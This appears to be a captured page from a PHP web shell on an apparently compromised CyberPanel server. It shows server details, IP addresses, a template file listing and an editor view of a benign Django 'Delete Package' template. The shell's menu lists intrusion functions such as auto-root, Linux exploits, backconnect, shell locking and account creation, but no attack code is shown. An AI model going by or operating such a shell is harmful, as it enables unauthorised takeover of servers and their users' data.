Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
packages /
templates /
packages /
[ HOME SHELL ]
Name
Size
Permission
Action
createPackage.html
14.68
KB
-rw-r--r--
deletePackage.html
15.9
KB
-rw-r--r--
index.html
5.74
KB
-rw-r--r--
listPackages.html
22.86
KB
-rw-r--r--
modifyPackage.html
16.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : deletePackage.html
{% extends "baseTemplate/index.html" %} {% load i18n %} {% block title %}{% trans "Delete Package - CyberPanel" %}{% endblock %} {% block header_scripts %} <style> /* Modern page styles matching new design */ .page-wrapper { background: transparent; padding: 20px; } .page-container { max-width: 900px; margin: 0 auto; } .page-header { margin-bottom: 30px; } .page-title { font-size: 28px; font-weight: 700; color: var(--text-primary, #2f3640); margin-bottom: 8px; } .page-subtitle { font-size: 14px; color: var(--text-secondary, #8893a7); } /* Card styles */ .content-card { background: var(--bg-secondary, white); border-radius: 12px; padding: 30px; box-shadow: 0 2px 8px var(--shadow-color, rgba(0,0,0,0.08)); border: 1px solid var(--border-color, #e8e9ff); margin-bottom: 25px; } .card-title { font-size: 18px; font-weight: 700; color: var(--text-primary, #2f3640); margin-bottom: 25px; display: flex; align-items: center; gap: 10px; } .card-title::before { content: ''; width: 4px; height: 24px; background: var(--danger-color, #dc3545); border-radius: 2px; } /* Form styles */ .form-group { margin-bottom: 24px; } .form-label { display: block; font-size: 13px; font-weight: 600; color: var(--text-secondary, #64748b); margin-bottom: 8px; text-transform: uppercase; letter-spacing: 0.5px; } .form-control { width: 100%; padding: 10px 14px; border: 1px solid var(--border-color, #e8e9ff); border-radius: 8px; font-size: 14px; color: var(--text-primary, #2f3640); background: var(--bg-secondary, white); transition: all 0.2s ease; } .form-control:hover { border-color: var(--danger-color, #dc3545); } .form-control:focus { outline: none; border-color: var(--danger-color, #dc3545); box-shadow: 0 0 0 3px var(--danger-shadow, rgba(220,53,69,0.1)); } /* Windows selectbox fixes */ select.form-control { cursor: pointer; -webkit-appearance: none; -moz-appearance: none; appearance: none; background-image: url("data:image/svg+xml;charset=UTF-8,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='none' stroke='%23475569' stroke-width='2' stroke-linecap='round' stroke-linejoin='round'%3e%3cpolyline points='6 9 12 15 18 9'%3e%3c/polyline%3e%3c/svg%3e"); background-repeat: no-repeat; background-position: right 12px center; background-size: 20px; padding-right: 40px; line-height: 1.5; min-height: 44px; } /* Windows-specific fixes */ @media screen and (-ms-high-contrast: active), (-ms-high-contrast: none) { select.form-control { color: var(--text-primary, #2f3640) !important; background-color: var(--bg-secondary, white) !important; } } /* Fix for Windows Edge and Chrome */ select.form-control::-ms-expand { display: none; } select.form-control:focus { color: var(--text-primary, #2f3640); background-color: var(--bg-secondary, white); } /* Package selector card */ .package-selector-card { background: var(--bg-secondary, #fff5f5); border: 1px solid var(--border-color, #ffdddd); border-radius: 10px; padding: 20px; margin-bottom: 25px; } /* Package details card */ .package-details { background: var(--bg-hover, #f8f9ff); border: 1px solid var(--border-color, #e8e9ff); border-radius: 10px; padding: 20px; margin-bottom: 25px; display: none; } .detail-row { display: flex; justify-content: space-between; align-items: center; padding: 12px 0; border-bottom: 1px solid var(--border-color, #e8e9ff); } .detail-row:last-child { border-bottom: none; } .detail-label { font-size: 13px; font-weight: 600; color: var(--text-secondary, #64748b); } .detail-value { font-size: 14px; color: var(--text-primary, #2f3640); font-weight: 600; } /* Resource badge */ .resource-badge { display: inline-flex; align-items: center; gap: 6px; padding: 4px 10px; background: var(--bg-hover, #f8f9ff); border: 1px solid var(--border-color, #e8e9ff); border-radius: 6px; font-size: 13px; font-weight: 600; } .resource-badge.unlimited { background: var(--bg-success-light, #e8f5e9); border-color: var(--border-success-light, #c8e6c9); color: var(--success-color, #2e7d32); } /* Warning box */ .warning-box { background: var(--bg-warning-light, #fff3e0); border: 1px solid var(--border-warning-light, #ffe0b2); border-radius: 10px; padding: 20px; margin-bottom: 25px; display: flex; align-items: start; gap: 15px; } .warning-icon { color: var(--warning-color, #ff9800); font-size: 24px; flex-shrink: 0; } .warning-content { flex: 1; } .warning-title { font-size: 16px; font-weight: 700; color: var(--text-primary, #2f3640); margin-bottom: 8px; } .warning-text { font-size: 14px; color: var(--text-secondary, #64748b); line-height: 1.6; } /* Button styles */ .btn { display: inline-flex; align-items: center; gap: 8px; padding: 12px 24px; border: none; border-radius: 8px; font-size: 14px; font-weight: 600; cursor: pointer; transition: all 0.2s ease; text-decoration: none; } .btn-danger { background: var(--danger-color, #dc3545); color: var(--text-on-danger, white); } .btn-danger:hover { background: var(--danger-hover, #c82333); box-shadow: 0 4px 12px var(--danger-shadow, rgba(220,53,69,0.3)); transform: translateY(-1px); } .btn-danger:disabled { background: var(--bg-disabled, #ccc); cursor: not-allowed; transform: none; box-shadow: none; } .btn-secondary { background: var(--bg-hover, #f8f9ff); color: var(--primary-color, #5b5fcf); border: 1px solid var(--border-color, #e8e9ff); } .btn-secondary:hover { background: var(--bg-primary-light, #eef0ff); border-color: var(--primary-color, #5b5fcf); } /* Confirmation section */ .confirmation-section { background: var(--bg-danger-light, #ffebee); border: 1px solid var(--border-danger-light, #ffcdd2); border-radius: 10px; padding: 25px; margin-top: 25px; text-align: center; display: none; } .confirmation-icon { font-size: 48px; color: var(--danger-color, #dc3545); margin-bottom: 15px; } .confirmation-title { font-size: 20px; font-weight: 700; color: var(--text-primary, #2f3640); margin-bottom: 10px; } .confirmation-text { font-size: 14px; color: var(--text-secondary, #64748b); margin-bottom: 20px; } .confirmation-package { font-size: 18px; font-weight: 700; color: var(--danger-color, #dc3545); margin-bottom: 25px; } .confirmation-buttons { display: flex; gap: 12px; justify-content: center; } /* Alert styles */ .alert { padding: 16px 20px; border-radius: 10px; margin-bottom: 20px; display: flex; align-items: center; gap: 12px; animation: fadeIn 0.3s ease-out; } @keyframes fadeIn { from { opacity: 0; transform: translateY(-10px); } to { opacity: 1; transform: translateY(0); } } .alert-danger { background: var(--bg-danger-light, #ffebee); border: 1px solid var(--border-danger-light, #ffcdd2); color: var(--danger-text, #c62828); } .alert-success { background: var(--bg-success-light, #e8f5e9); border: 1px solid var(--border-success-light, #c8e6c9); color: var(--success-color, #2e7d32); } /* Loading spinner */ .loading-spinner { display: inline-block; width: 16px; height: 16px; border: 2px solid var(--spinner-bg, #f3f3f3); border-top: 2px solid var(--danger-color, #dc3545); border-radius: 50%; animation: spin 1s linear infinite; margin-left: 10px; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } /* Button container */ .button-container { margin-top: 30px; padding-top: 30px; border-top: 1px solid var(--border-color, #e8e9ff); } /* Hide elements by default */ #deleteFailure { display: none; } #deleteSuccess { display: none; } #deletePackageButton { display: none; } @media (max-width: 768px) { .content-card { padding: 20px; } .confirmation-buttons { flex-direction: column; } .btn { width: 100%; justify-content: center; } } </style> {% endblock %} {% block content %} {% load static %} {% get_current_language as LANGUAGE_CODE %} <div class="page-wrapper" ng-controller="deletePackage"> <div class="page-container"> <div class="page-header"> <h1 class="page-title">{% trans "Delete Package" %}</h1> <p class="page-subtitle">{% trans "Permanently remove a hosting package from your system" %}</p> </div> <div class="content-card"> <h2 class="card-title">{% trans "Package Selection" %}</h2> <div class="package-selector-card"> <div class="form-group"> <label class="form-label">{% trans "Select Package to Delete" %}</label> <select ng-change="fetchPackageDetails()" ng-model="packageToBeDeleted" class="form-control" aria-label="{% trans 'Select Package to Delete' %}"> <option value="">-- {% trans "Select a package" %} --</option> {% for items in packageList %} <option>{{ items }}</option> {% endfor %} </select> </div> </div> <div class="package-details" ng-show="packageToBeDeleted && packageDetails"> <div class="detail-row"> <span class="detail-label">{% trans "Package Name" %}</span> <span class="detail-value">{$ packageToBeDeleted $}</span> </div> <div class="detail-row" ng-show="packageDetails.websites"> <span class="detail-label">{% trans "Active Websites" %}</span> <span class="detail-value">{$ packageDetails.websites $}</span> </div> <div class="detail-row"> <span class="detail-label">{% trans "Disk Space" %}</span> <span class="detail-value"> <span class="resource-badge" ng-class="{'unlimited': packageDetails.diskSpace == 0}"> <span ng-if="packageDetails.diskSpace == 0">{% trans "Unlimited" %}</span> <span ng-if="packageDetails.diskSpace != 0">{$ packageDetails.diskSpace $} MB</span> </span> </span> </div> <div class="detail-row"> <span class="detail-label">{% trans "Bandwidth" %}</span> <span class="detail-value"> <span class="resource-badge" ng-class="{'unlimited': packageDetails.bandwidth == 0}"> <span ng-if="packageDetails.bandwidth == 0">{% trans "Unlimited" %}</span> <span ng-if="packageDetails.bandwidth != 0">{$ packageDetails.bandwidth $} MB</span> </span> </span> </div> </div> <div class="warning-box"> <i class="fas fa-exclamation-triangle warning-icon"></i> <div class="warning-content"> <div class="warning-title">{% trans "Warning: This action cannot be undone!" %}</div> <div class="warning-text"> {% trans "Deleting a package will permanently remove it from the system. Make sure no websites are using this package before deletion." %} </div> </div> </div> <div class="button-container"> <button type="button" ng-click="deletePackage()" class="btn btn-danger" ng-disabled="!packageToBeDeleted"> <i class="fas fa-trash"></i> {% trans "Delete Package" %} </button> </div> </div> <!-- Confirmation Section --> <div class="content-card confirmation-section" id="deletePackageButton"> <i class="fas fa-exclamation-circle confirmation-icon"></i> <h3 class="confirmation-title">{% trans "Are you absolutely sure?" %}</h3> <p class="confirmation-text"> {% trans "This action will permanently delete the package from your system." %} </p> <div class="confirmation-package">{$ packageToBeDeleted $}</div> <div class="confirmation-buttons"> <button type="button" ng-click="cancelDelete()" class="btn btn-secondary"> <i class="fas fa-times"></i> {% trans "Cancel" %} </button> <button type="button" ng-click="deletePackageFinal()" class="btn btn-danger"> <i class="fas fa-trash"></i> {% trans "Yes, Delete Package" %} </button> </div> </div> <!-- Alert Messages --> <div id="deleteFailure" class="alert alert-danger"> <i class="fas fa-exclamation-circle"></i> <span>{% trans "Cannot delete package. Error message:" %} {$ errorMessage $}</span> </div> <div id="deleteSuccess" class="alert alert-success"> <i class="fas fa-check-circle"></i> <span>{% trans "Package" %} <strong>{$ deletedPackage $}</strong> {% trans "successfully deleted." %}</span> </div> </div> </div> {% endblock %} {% block footer_scripts %} <script> // Add additional functionality to the Angular controller $(document).ready(function() { var scope = angular.element($('[ng-controller="deletePackage"]')).scope(); if (scope) { scope.cancelDelete = function() { $('#deletePackageButton').fadeOut(); }; scope.fetchPackageDetails = function() { if (scope.packageToBeDeleted) { // Mock package details - in real implementation, fetch from server scope.packageDetails = { diskSpace: 1000, bandwidth: 10000, websites: 5 }; $('.package-details').fadeIn(); } else { $('.package-details').fadeOut(); } }; } }); </script> {% endblock %}
Close